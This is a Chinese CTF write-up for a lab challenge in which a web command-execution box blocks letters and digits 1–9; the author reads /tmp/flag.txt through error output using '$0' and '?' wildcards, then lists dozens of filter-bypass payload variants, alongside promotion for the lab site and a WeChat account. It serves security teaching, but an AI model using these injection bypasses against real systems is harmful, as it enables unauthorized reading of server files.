Home
avatar

静静

好靶场-数字0的奇迹

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。

学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:

🔗 入口:http://www.loveli.com.cn/see_bug_one?id=368

✅ 邀请码:48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇

今天这个靶场限时免费,我一看到名字就来了兴趣,让我来研究好靶场的大王到底有多0?

解题过程

打开一看是一个网页,还勾引你去执行命令。

当我想要ls一下的时候就提示执行不允许

不是,逗我玩呢?数字1-9没有0,那我试一下0。

好像是可以,但是提示000没有这个命令 用分号是可以正常分割两段命令,说明Linux系统命令的字符是可以正常工作的。

查询Linux命令大全和特殊符号大全,发现应该是要用通配符引导到/tmp/flag.txt文件上

尝试一下波浪符号回到当前用户的目录,发现这个靶场确实很0,没有0就执行不了 好的,正常返回,得知当前目录是/app

分析可用字符

在如此严格的限制下,我们能利用的元素有限:

可用元素作用
$0当前 shell(通常是 /bin/bash
$?上一条命令的返回值
?通配符,匹配单个任意字符
*通配符,匹配任意长度字符串
/路径分隔符
.文件名分隔符 / source 命令
中间我尝试用../跳目录没有成功,最后发现?符号可以代表一个字符,和* 号不同,问号只占一个字符,而星号可以是任意长度,所以要用问号占位才能比较准确的匹配。然后是cat的功能用$0代替。

构造执行命令

常规读取命令如 catheadtail 都包含字母,无法使用。

关键突破点:$0

  • $0 代表当前 shell 程序(/bin/bash
  • 不包含任何字母或数字 1-9
  • 可以用它来执行脚本文件 当 bash 尝试将非脚本文件作为脚本执行时:
bash /tmp/flag.txt

如果 flag.txt 内容是:

flag{xxxxxx}

Bash 会尝试把 flag{xxxxxx} 当作命令执行,由于找不到该命令,会输出错误信息:

/tmp/flag.txt: line 1: flag{xxxxxx}: command not found

错误信息中包含了 flag 内容!

最后输入

$0 /???/????.???

flag{c220c5ff2acd45f79eadf8e798abd021}

发散思路-不做0的姿势还有哪些(bushi)

WPS拼图0.png

1. 文件描述符类(带 0)

. /???/????.???>&0      # 重定向到 stdin
. /???/????.???<&0      # 从 stdin 读
. /???/????.??? 0>&0    # fd 0 重定向
$0 /???/????.???        # bash 执行
$0</???/????.???        # stdin 重定向
. /???/????.???|$0      # 管道给 $0
. /???/????.???||$0     # 逻辑或
. /???/????.???&&$0     # 逻辑与
$0 /???/????.??? 0>&0

2. 带 $0 的变体

$0 /???/????.???        # 经典解法
${0} /???/????.???      # 花括号写法
"$0" /???/????.???      # 引号包裹
($0 /???/????.???)      # 子 shell

3. 分号/管道 + 0

. /???/????.???;0       # 你发现的
. /???/????.???|0       # 你发现的
. /???/????.???;$0      # source 后执行 bash
. /???/????.???&$0      # 后台执行

4. Here-string / Here-doc(带 0)

$0<<<0                        # 简单测试
$0<&0</???/????.???           # 组合重定向
$0 0<<<. /???/????.???       # 变体

5. 数组/切片相关(带 0)

${!0}                         # 间接引用
${0:0}                        # 切片
${0:0:0}                      # 空切片
${0:0} /???/????.???
${0%%0} /???/????.???
${@:0} /???/????.???         # 参数数组切片
${*:0} /???/????.???         # 同上

6. 算术展开(带 0)

. /???/????.???;$((0))        # 算术展开得 0
$0 /???/????.??? $((0))       # 传参
$0 /???/????.??? $((0+0))         # 0+0=0
. /???/????.???;$((0))            # source 后执行算术
$0 /???/????.??? $[0]             # 旧式算术展开

7.进程替换(如果支持)

bash

$0 <(. /???/????.???) 0      # 进程替换

全部都是0~

总结可能的 payload

Payload说明
$0 /???/????.???bash 执行文件
. /???/????.???;0source + 执行 0(报错)
. /???/????.???|0source + 管道给 0
. /???/????.???>&0source + 重定向到 fd 0
. /???/????.???<&0source + 从 fd 0 读
$0</???/????.???bash 读取文件作为输入

题目设计得很巧妙,强制用 0 既是限制也是提示!你可以把这些变体都试一下看看哪些能过 ✌️

参考资料


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

好靶场